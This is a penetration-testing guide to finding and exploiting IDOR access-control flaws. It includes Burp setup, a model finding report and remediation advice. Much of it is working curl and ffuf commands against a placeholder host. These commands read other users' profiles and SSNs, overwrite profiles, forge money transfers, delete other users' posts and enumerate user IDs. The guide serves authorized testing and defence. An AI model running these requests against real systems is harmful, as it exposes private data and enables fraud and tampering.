Exploiting IDOR Vulnerabilities

When to Use

• During authorized penetration tests when testing access control on resource endpoints
• When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
• For validating that object-level authorization is enforced across all CRUD operations
• When testing multi-tenant applications where users should only access their own data
• During bug bounty programs targeting broken access control vulnerabilities

Prerequisites

• Authorization: Written penetration testing agreement for the target application
• Burp Suite Professional: With Authorize extension installed from BApp Store
• Two test accounts: At least two separate user accounts with different permission levels
• Burp Authorize Extension: For automated IDOR testing across sessions
• curl/httpie: For manual request crafting
• Browser: Configured to proxy through Burp Suite

Workflow

Step 1: Map All Object References in the Application

Identify every endpoint that references objects by ID across the application.

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

Step 2: Configure Burp Authorize Extension for Automated Testing

Set up the Authorize extension to automatically replay requests with a different user's session.

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

Step 3: Test Horizontal IDOR (Same Privilege Level)

Attempt to access resources belonging to another user at the same privilege level.

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

Step 4: Test Vertical IDOR (Cross Privilege Level)

Attempt to access admin or elevated resources with a regular user token.

# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/1/profile" | jq .

# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/admin/reports/1" | jq .

# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/organizations/2/settings" | jq .

# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf

Step 5: Test IDOR in Non-Obvious Locations

Look for IDOR in request bodies, headers, and indirect references.

# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
  "https://target.example.com/api/v1/transfers"

# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
  "https://target.example.com/api/v1/transfers"

# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"

# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
  "https://target.example.com/graphql"

# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile?user_id=102"

# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"ids": [101, 102, 103, 104, 105]}' \
  "https://target.example.com/api/v1/users/bulk"

Step 6: Enumerate and Escalate Impact

Determine the full scope of data exposure through IDOR.

# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 20 \
  -o valid-users.json -of json

# Count total accessible records
jq '.results | length' valid-users.json

# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | \
  jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash

# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/posts/1" \
  -w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user data

Key Concepts

Concept	Description
Horizontal IDOR	Accessing resources belonging to another user at the same privilege level
Vertical IDOR	Accessing resources requiring higher privileges than the current user has
Direct Object Reference	Using a database key, file path, or identifier directly in API parameters
Indirect Object Reference	Using a mapped reference (e.g., index) that the server resolves to the actual object
Object-Level Authorization	Server-side check that the requesting user is authorized to access the specific object
Predictable IDs	Sequential numeric identifiers that allow easy enumeration of valid objects
UUID Randomness	Using UUIDv4 makes enumeration harder but does not replace authorization checks

Tools & Systems

Tool	Purpose
Burp Suite Professional	HTTP proxy with Intruder for ID enumeration and Repeater for manual testing
Authorize (Burp Extension)	Automated IDOR testing by replaying requests with different user sessions
AutoRepeater (Burp Extension)	Automatically repeats requests with modified authorization headers
Postman	API testing with environment variables for switching between user contexts
ffuf	Fast fuzzing of object ID parameters
OWASP ZAP	Free proxy alternative with access control testing plugins

Common Scenarios

Scenario 1: Invoice Download IDOR

The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.

Scenario 2: User Profile Data Leak

The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.

Scenario 3: File Access via Path Manipulation

A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.

Scenario 4: Message Thread Hijacking

A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.

Output Format

## IDOR Vulnerability Finding

**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII

### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |

### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls

### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints